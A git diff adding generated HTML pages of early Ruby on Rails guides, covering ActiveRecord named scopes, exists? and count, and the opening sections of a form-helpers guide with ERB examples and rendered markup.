+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ named_scope <span style="color: #990000">:</span>males<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>gender <span style="color: #990000">=></span> <span style="color: #FF0000">"male"</span> <span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>And we could call it like <tt>Client.males</tt> to get all the clients who are male.</p></div>
+<div class="para"><p>If we wanted to find all the clients who are active, we could use this:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ named_scope <span style="color: #990000">:</span>active<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>active <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>We would call this new named_scope by doing <tt>Client.active</tt> and this will do the same query as if we just used <tt>Client.find(:all, :conditions ⇒ ["active = ?", true])</tt>. Please be aware that the conditions syntax in named_scope and find is different and the two are not interchangeable. If you want to find the first client within this named scope you could do <tt>Client.active.first</tt>.</p></div>
+<div class="para"><p>and then if we wanted to find all the clients who are active and male we could stack the named scopes like this:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>males<span style="color: #990000">.</span>active
+</tt></pre></div></div>
+<div class="para"><p>If you would then like to do a <tt>find</tt> on that subset of clients, you can. Just like an association, named scopes allow you to call <tt>find</tt> on a set of records:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>males<span style="color: #990000">.</span>active<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #990000">[</span><span style="color: #FF0000">"age > ?"</span><span style="color: #990000">,</span> params<span style="color: #990000">[:</span>age<span style="color: #990000">]])</span>
+</tt></pre></div></div>
+<div class="para"><p>Now observe the following code:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ named_scope <span style="color: #990000">:</span>recent<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>created_at <span style="color: #990000">></span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago <span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>What we see here is what looks to be a standard named scope that defines a method called recent which gathers all records created any time between now and 2 weeks ago. That's correct for the first time the model is loaded but for any time after that, <tt>2.weeks.ago</tt> is set to that same value, so you will consistently get records from a certain date until your model is reloaded by something like your application restarting. The way to fix this is to put the code in a lambda block:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ named_scope <span style="color: #990000">:</span>recent<span style="color: #990000">,</span> lambda <span style="color: #FF0000">{</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at > ?"</span><span style="color: #990000">,</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago<span style="color: #990000">]</span> <span style="color: #FF0000">}</span> <span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>And now every time the recent named scope is called, because it's wrapped in a lambda block this code will be parsed every time so you'll get actually 2 weeks ago from the code execution, not 2 weeks ago from the time the model was loaded.</p></div>
+<div class="para"><p>In a named scope you can use <tt>:include</tt> and <tt>:joins</tt> options just like in find.</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ named_scope <span style="color: #990000">:</span>active_within_2_weeks<span style="color: #990000">,</span> <span style="color: #990000">:</span>joins <span style="color: #990000">=></span> <span style="color: #990000">:</span>order<span style="color: #990000">,</span> lambda <span style="color: #FF0000">{</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #990000">[</span><span style="color: #FF0000">"orders.created_at > ?"</span><span style="color: #990000">,</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago<span style="color: #990000">]</span> <span style="color: #FF0000">}</span> <span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This method called as <tt>Client.active_within_2_weeks</tt> will return all clients who have placed orders in the past 2 weeks.</p></div>
+<div class="para"><p>If you want to pass a named scope a compulsory argument, just specify it as a block parameter like this:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ named_scope <span style="color: #990000">:</span>recent<span style="color: #990000">,</span> lambda <span style="color: #FF0000">{</span> <span style="color: #990000">|</span>time<span style="color: #990000">|</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at > ?"</span><span style="color: #990000">,</span> time<span style="color: #990000">]</span> <span style="color: #FF0000">}</span> <span style="color: #FF0000">}</span> <span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This will work if we call <tt>Client.recent(2.weeks.ago)</tt> but not if we call <tt>Client.recent</tt>. If we want to add an optional argument for this, we have to use the splat operator as the block's parameter.</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ named_scope <span style="color: #990000">:</span>recent<span style="color: #990000">,</span> lambda <span style="color: #FF0000">{</span> <span style="color: #990000">|*</span>args<span style="color: #990000">|</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at > ?"</span><span style="color: #990000">,</span> args<span style="color: #990000">.</span>first <span style="color: #990000">||</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago<span style="color: #990000">]</span> <span style="color: #FF0000">}</span> <span style="color: #FF0000">}</span> <span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This will work with <tt>Client.recent(2.weeks.ago)</tt> and <tt>Client.recent</tt> with the latter always returning records with a created_at date between right now and 2 weeks ago.</p></div>
+<div class="para"><p>Remember that named scopes are stackable, so you will be able to do <tt>Client.recent(2.weeks.ago).unlocked</tt> to find all clients created between right now and 2 weeks ago and have their locked field set to false.</p></div>
+</div>
+<h2 id="_existance_of_objects">18. Existance of Objects</h2>
+<div class="sectionbody">
+<div class="para"><p>If you simply want to check for the existance of the object there's a method called <tt>exists?</tt>. This method will query the database using the same query as find, but instead of returning an object or collection of objects it will return either true or false.</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>exists?<span style="color: #990000">(</span><span style="color: #993399">1</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>The above code will check for the existance of a clients table record with the id of 1 and return true if it exists.</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>exists?<span style="color: #990000">(</span><span style="color: #993399">1</span><span style="color: #990000">,</span><span style="color: #993399">2</span><span style="color: #990000">,</span><span style="color: #993399">3</span><span style="color: #990000">)</span>
+<span style="font-style: italic"><span style="color: #9A1900"># or</span></span>
+Client<span style="color: #990000">.</span>exists?<span style="color: #990000">([</span><span style="color: #993399">1</span><span style="color: #990000">,</span><span style="color: #993399">2</span><span style="color: #990000">,</span><span style="color: #993399">3</span><span style="color: #990000">])</span>
+</tt></pre></div></div>
+<div class="para"><p><tt>exists?</tt> also takes multiple ids, as shown by the above code, but the catch is that it will return true if any one of those records exists.</p></div>
+<div class="para"><p>Further more, <tt>exists</tt> takes a <tt>conditions</tt> option much like find:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>exists?<span style="color: #990000">(:</span>conditions <span style="color: #990000">=></span> <span style="color: #FF0000">"first_name = 'Ryan'"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+</div>
+<h2 id="_calculations">19. Calculations</h2>
+<div class="sectionbody">
+<h3 id="_count">19.1. Count</h3>
+<div class="para"><p>If you want to see how many records are in your models table you could call <tt>Client.count</tt> and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use <tt>Client.count(:age)</tt>.</p></div>
+<div class="para"><p><tt>count</tt> takes conditions much in the same way <tt>exists?</tt> does:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>count<span style="color: #990000">(:</span>conditions <span style="color: #990000">=></span> <span style="color: #FF0000">"first_name = 'Ryan'"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> count<span style="color: #990000">(*)</span> <span style="font-weight: bold"><span style="color: #0000FF">AS</span></span> count_all <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #FF0000">`clients`</span> <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>first_name <span style="color: #990000">=</span> <span style="color: #993399">1</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+</div>
+<h2 id="_with_scope">20. With Scope</h2>
+<div class="sectionbody">
+<div class="para"><p>TODO</p></div>
+</div>
+<h2 id="_credits">21. Credits</h2>
+<div class="sectionbody">
+<div class="para"><p>Thanks to Ryan Bates for his awesome screencast on named scope #108. The information within the named scope section is intentionally similar to it, and without the cast may have not been possible.</p></div>
+<div class="para"><p>Thanks to Mike Gunderloy for his tips on creating this guide.</p></div>
+</div>
+<h2 id="_change_log">22. Change Log</h2>
+<div class="sectionbody">
+<h3 id="_sunday_28_september_2008">22.1. Sunday, 28 September 2008</h3>
+<div class="olist"><ol>
+<li>
+<p>
+Changed "In Rails you don't have to type SQL" to "In Rails you don't usually have to type SQL"
+</p>
+</li>
+<li>
+<p>
+Inserted paragraph in dynamic finders about find_or_create and find_or_initialize
+</p>
+</li>
+<li>
+<p>
+Extended "First, Last, All" section.
+</p>
+</li>
+<li>
+<p>
+Renamed "First, Last & All" to "IDs, First, Last and All"
+</p>
+</li>
+<li>
+<p>
+Added finding by id and passing in ids to "IDs, First, Last and All"
+</p>
+</li>
+</ol></div>
+<h3 id="_wednesday_01_october_2008">22.2. Wednesday, 01 October 2008</h3>
+<div class="olist"><ol>
+<li>
+<p>
+Did section on limit and offset, as well as section on readonly.
+</p>
+</li>
+<li>
+<p>
+Altered formatting so it doesn't look bad.
+</p>
+</li>
+</ol></div>
+<h3 id="_sunday_05_october_2008">22.3. Sunday, 05 October 2008</h3>
+<div class="olist"><ol>
+<li>
+<p>
+Extended conditions section to include IN and using operators inside the conditions.
+</p>
+</li>
+<li>
+<p>
+Extended conditions section to include paragraph and example of parameter safety.
+</p>
+</li>
+<li>
+<p>
+Added TODO sections.
+</p>
+</li>
+</ol></div>
+<h3 id="_monday_06_october_2008">22.4. Monday, 06 October 2008</h3>
+<div class="olist"><ol>
+<li>
+<p>
+Added section in Eager Loading about using conditions on tables that are not the model's own.
+</p>
+</li>
+</ol></div>
+<h3 id="_thursday_09_october_2008">22.5. Thursday, 09 October 2008</h3>
+<div class="olist"><ol>
+<li>
+<p>
+Wrote section about lock option and tidied up "Making it all work together" section.
+</p>
+</li>
+<li>
+<p>
+Added section on using count.
+</p>
+</li>
+</ol></div>
+<h3 id="_tuesday_21_october_2008">22.6. Tuesday, 21 October 2008</h3>
+<div class="olist"><ol>
+<li>
+<p>
+Extended named scope guide by adding :include and :joins and find sub-sections.
+</p>
+</li>
+</ol></div>
+</div>
+ + </div> + </div> +</body> +</html> diff --git a/railties/doc/guides/html/form_helpers.html b/railties/doc/guides/html/form_helpers.html new file mode 100644 index 0000000000..da5307217c --- /dev/null +++ b/railties/doc/guides/html/form_helpers.html @@ -0,0 +1,570 @@ +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> +<head> + <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> + <title>Rails form helpers</title> + <!--[if lt IE 8]> + <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script> + <![endif]--> + <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" /> + <style type="text/css"> + div#container { + max-width: 900px; + padding-bottom: 3em; +} + +div#content { + margin-left: 200px; +} + +div#container.notoc { + max-width: 600px; +} + +.notoc div#content { + margin-left: 0; +} + +pre { + line-height: 1.4em; +} + +#content p tt { + background: #eeeeee; + border: solid 1px #cccccc; + padding: 3px; +} + +dt { + font-weight: bold; +} + +#content dt tt { + font-size: 10pt; +} + +dd { + margin-left: 3em; +} + +#content dt tt, #content pre tt { + background: none; + padding: 0; + border: 0; +} + +#content .olist ol { + margin-left: 2em; +} + +#header { + position: relative; + max-width: 840px; + margin-left: auto; + margin-right: auto; +} + +#header.notoc { + max-width: 580px; +} + +#logo { + position: absolute; + left: 10px; + top: 10px; + width: 110px; + height: 140px; +} + +div#header h1#site_title { + background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat; + position: absolute; + width: 392px; + height: 55px; + left: 145px; + top: 20px; + margin: 0; + padding: 0; +} + +#site_title span { + display: none; +} + +#site_title_tagline { + display: none; +} + +ul#navMain { + position: absolute; + margin: 0; + padding: 0; + top: 97px; + left: 145px; +} + +.left-floaty, .right-floaty { + padding: 15px; +} + +.admonitionblock, +.tableblock { + margin-left: 1em; + margin-right: 1em; + margin-top: 0.25em; + margin-bottom: 1em; +} + +.admonitionblock .icon { + padding-right: 8px; +} + +.admonitionblock .content { + border: solid 1px #ffda78; + background: #fffebd; + padding: 10px; + padding-top: 8px; + padding-bottom: 8px; +} + +.admonitionblock .title { + font-size: 140%; + margin-bottom: 0.5em; +} + +.tableblock table { + border: solid 1px #aaaaff; + background: #f0f0ff; +} + +.tableblock th { + background: #e0e0e0; +} + +.tableblock th, +.tableblock td { + padding: 3px; + padding-left: 5px; + padding-right: 5px; +} + +.sidebarblock { + margin-top: 0.25em; + margin: 1em; + border: solid 1px #ccccbb; + padding: 8px; + background: #ffffe0; +} + +.sidebarblock .sidebar-title { + font-size: 140%; + font-weight: 600; + margin-bottom: 0.3em; +} + +.sidebarblock .sidebar-content > .para:last-child > p { + margin-bottom: 0; +} + +.sidebarblock .sidebar-title a { + text-decoration: none; +} + +.sidebarblock .sidebar-title a:hover { + text-decoration: underline; +} + + </style> +</head> +<body> + <div id="header" > + <div id="logo"> + <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a> + </div> + + <h1 id="site_title"><span>Ruby on Rails</span></h1> + <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2> + + <ul id="navMain"> + <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li> + <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li> + </ul> + </div> + + <div id="container"> + + <div id="sidebar"> + <h2>Chapters</h2> + <ol> + <li> + <a href="#_basic_forms">Basic forms</a> + <ul> + + <li><a href="#_generic_search_form">Generic search form</a></li> + + <li><a href="#_multiple_hashes_in_form_helper_attributes">Multiple hashes in form helper attributes</a></li> + + <li><a href="#_checkboxes_radio_buttons_and_other_controls">Checkboxes, radio buttons and other controls</a></li> + + <li><a href="#_how_do_forms_with_put_or_delete_methods_work">How do forms with PUT or DELETE methods work?</a></li> + + </ul> + </li> + <li> + <a href="#_forms_that_deal_with_model_attributes">Forms that deal with model attributes</a> + <ul> + + <li><a href="#_relying_on_record_identification">Relying on record identification</a></li> + + </ul> + </li> + </ol> + </div> + + <div id="content"> + <h1>Rails form helpers</h1> + <div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>Forms in web applications are an essential interface for user input. They are also often considered the most complex elements of HTML. Rails deals away with these complexities by providing numerous view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.</p></div>
+<div class="para"><p>In this guide we will:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Create search forms and similar kind of generic forms not representing any specific model in your application;
+</p>
+</li>
+<li>
+<p>
+Make model-centric forms for creation and editing of specific database records;
+</p>
+</li>
+<li>
+<p>
+Generate select boxes from multiple types of data;
+</p>
+</li>
+<li>
+<p>
+Learn what makes a file upload form different;
+</p>
+</li>
+<li>
+<p>
+Build complex, multi-model forms.
+</p>
+</li>
+</ul></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit <a href="http://api.rubyonrails.org/">the Rails API documentation</a> for a complete reference.</td>
+</tr></table>
+</div>
+</div>
+</div>
+<h2 id="_basic_forms">1. Basic forms</h2>
+<div class="sectionbody">
+<div class="para"><p>The most basic form helper is <tt>form_tag</tt>.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt><% form_tag do %>
+ Form contents
+<% end %></tt></pre>
+</div></div>
+<div class="para"><p>When called without arguments like this, it creates a form element that has the current page for action attribute and "POST" as method (some line breaks added for readability):</p></div>
+<div class="listingblock">
+<div class="title">Example: Sample rendering of <tt>form_tag</tt></div>
+<div class="content">
+<pre><tt><form action="/home/index" method="post">
+ <div style="margin:0;padding:0">
+ <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
+ </div>
+ Form contents
+</form></tt></pre>
+</div></div>
+<div class="para"><p>If you carefully observe this output, you can see that the helper generated something we didn't specify: a <tt>div</tt> element with a hidden input inside. This is a security feature of Rails called <strong>cross-site request forgery protection</strong> and form helpers generate it for every form which action isn't "GET" (provided that this security feature is enabled).</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">Throughout this guide, this <tt>div</tt> with the hidden input will be stripped away to have clearer code samples.</td>
+</tr></table>
+</div>
+<h3 id="_generic_search_form">1.1. Generic search form</h3>
+<div class="para"><p>Probably the most minimal form often seen on the web is a search form with a single text input for search terms. This form consists of:</p></div>
+<div class="olist"><ol>
+<li>
+<p>
+a form element with "GET" method,
+</p>
+</li>
+<li>
+<p>
+a label for the input,
+</p>
+</li>
+<li>
+<p>
+a text input element, and
+</p>
+</li>
+<li>
+<p>
+a submit element.
+</p>
+</li>
+</ol></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/important.png" alt="Important" />
+</td>
+<td class="content">Always use "GET" as the method for search forms. Benefits are many: users are able to bookmark a specific search and get back to it; browsers cache results of "GET" requests, but not "POST"; and other.</td>
+</tr></table>
+</div>
+<div class="para"><p>To create that, we will use <tt>form_tag</tt>, <tt>label_tag</tt>, <tt>text_field_tag</tt> and <tt>submit_tag</tt>, respectively.</p></div>
+<div class="listingblock">
+<div class="title">Example: A basic search form</div>
+<div class="content">
+<pre><tt><% form_tag(search_path, :method => "get") do %>
+ <%= label_tag(:q, "Search for:") %>
+ <%= text_field_tag(:q) %>
+ <%= submit_tag("Search") %>
+<% end %></tt></pre>
+</div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">
+<div class="para"><p><tt>search_path</tt> can be a named route specified in "routes.rb":</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>map.search "search", :controller => "search"</tt></pre>
+</div></div>
+</td>
+</tr></table>
+</div>
+<div class="para"><p>The above view code will result in the following markup:</p></div>
+<div class="listingblock">
+<div class="title">Example: Search form HTML</div>
+<div class="content">
+<pre><tt><form action="/search" method="get">
+ <label for="q">Search for:</label>
+ <input id="q" name="q" type="text" />
+ <input name="commit" type="submit" value="Search" />
+</form></tt></pre>
+</div></div>
+<div class="para"><p>Besides <tt>text_field_tag</tt> and <tt>submit_tag</tt>, there is a similar helper for <em>every</em> form control in HTML.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">For every form input, an ID attribute is generated from its name ("q" in our example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.</td>
+</tr></table>
+</div>
+<h3 id="_multiple_hashes_in_form_helper_attributes">1.2. Multiple hashes in form helper attributes</h3>
+<div class="para"><p>By now we've seen that the <tt>form_tag</tt> helper accepts 2 arguments: the path for the action attribute and an options hash for parameters (like <tt>:method</tt>).</p></div>
+<div class="para"><p>Identical to the <tt>link_to</tt> helper, the path argument doesn't have to be given as string or a named route. It can be a hash of URL parameters that Rails' routing mechanism will turn into a valid URL. Still, we cannot simply write this:</p></div>
+<div class="listingblock">
+<div class="title">Example: A bad way to pass multiple hashes as method arguments</div>
+<div class="content">
+<pre><tt>form_tag(:controller => "people", :action => "search", :method => "get")
+# => <form action="/people/search?method=get" method="post"></tt></pre>
+</div></div>
+<div class="para"><p>Here we wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL that we didn't want. The solution is to delimit the first hash (or both hashes) with curly brackets:</p></div>
+<div class="listingblock">
+<div class="title">Example: The correct way of passing multiple hashes as arguments</div>
+<div class="content">
+<pre><tt>form_tag({:controller => "people", :action => "search"}, :method => "get")
+# => <form action="/people/search" method="get"></tt></pre>
+</div></div>
+<div class="para"><p>This is a common pitfall when using form helpers, since many of them accept multiple hashes. So in future, if a helper produces unexpected output, make sure that you have delimited the hash parameters properly.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">Do not delimit the second hash without doing so with the first hash, otherwise your method invocation will result in an ugly <tt>expecting tASSOC</tt> syntax error.</td>
+</tr></table>
+</div>
+<h3 id="_checkboxes_radio_buttons_and_other_controls">1.3. Checkboxes, radio buttons and other controls</h3>
+<div class="para"><p>Checkboxes are form controls that give the user a set of options they can enable or disable:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt><%= check_box_tag(:pet_dog) %>
+ <%= label_tag(:pet_dog, "I own a dog") %>
+<%= check_box_tag(:pet_cat) %>
+ <%= label_tag(:pet_cat, "I own a cat") %>
+
+output:
+
+<input id="pet_dog" name="pet_dog" type="checkbox" value="1" />
+ <label for="pet_dog">I own a dog</label>
+<input id="pet_cat" name="pet_cat" type="checkbox" value="1" />
+ <label for="pet_cat">I own a cat</label></tt></pre>
+</div></div>
+<div class="para"><p>Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (user can only pick one):</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt><%= radio_button_tag(:age, "child") %>
+ <%= label_tag(:age_child, "I am younger than 21") %>
+<%= radio_button_tag(:age, "adult") %>
+ <%= label_tag(:age_adult, "I'm over 21") %>
+
+output:
+
+<input id="age_child" name="age" type="radio" value="child" />
+ <label for="age_child">I am younger than 21</label>
+<input id="age_adult" name="age" type="radio" value="adult" />
+ <label for="age_adult">I'm over 21</label></tt></pre>
+</div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/important.png" alt="Important" />
+</td>
+<td class="content">Always use labels for each checkbox and radio button. They associate text with a specific option, while also providing a larger clickable region.</td>
+</tr></table>
+</div>
+<div class="para"><p>Other form controls we might mention are the text area, password input and hidden input:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt><%= text_area_tag(:message, "Hi, nice site", :size => "24x6") %>
+<%= password_field_tag(:password) %>
+<%= hidden_field_tag(:parent_id, "5") %>
+
+output:
+
+<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea>
+<input id="password" name="password" type="password" />
+<input id="parent_id" name="parent_id" type="hidden" value="5" /></tt></pre>
+</div></div>
+<div class="para"><p>Hidden inputs are not shown to the user, but they hold data same as any textual input. Values inside them can be changed with JavaScript.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">If you're using password input fields (for any purpose), you might want to prevent their values showing up in application logs by activating <tt>filter_parameter_logging(:password)</tt> in your ApplicationController.</td>
+</tr></table>
+</div>
+<h3 id="_how_do_forms_with_put_or_delete_methods_work">1.4. How do forms with PUT or DELETE methods work?</h3>
+<div class="para"><p>Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PUT" and "DELETE" requests (besides "GET" and "POST"). Still, most browsers <em>don't support</em> methods other than "GET" and "POST" when it comes to submitting forms. How does this work, then?</p></div>
+<div class="para"><p>Rails works around this issue by emulating other methods over POST with a hidden input named <tt>"<em>method"</tt> that is set to reflect the _real</em> method:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>form_tag(search_path, :method => "put")
+
+output:
+
+<form action="/search" method="post">
+ <div style="margin:0;padding:0">
+ <input name="_method" type="hidden" value="put" />
+ <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
+ </div>
+ ...</tt></pre>
+</div></div>
+<div class="para"><p>When parsing POSTed data, Rails will take into account the special <tt>"_method"</tt> parameter and act as if the HTTP method was the one specified inside it ("PUT" in this example).</p></div>
+</div>
+<h2 id="_forms_that_deal_with_model_attributes">2. Forms that deal with model attributes</h2>
+<div class="sectionbody">
+<div class="para"><p>When we're dealing with an actual model, we will use a different set of form helpers and have Rails take care of some details in the background. In the following examples we will handle an Article model. First, let us have the controller create one:</p></div>
+<div class="listingblock">
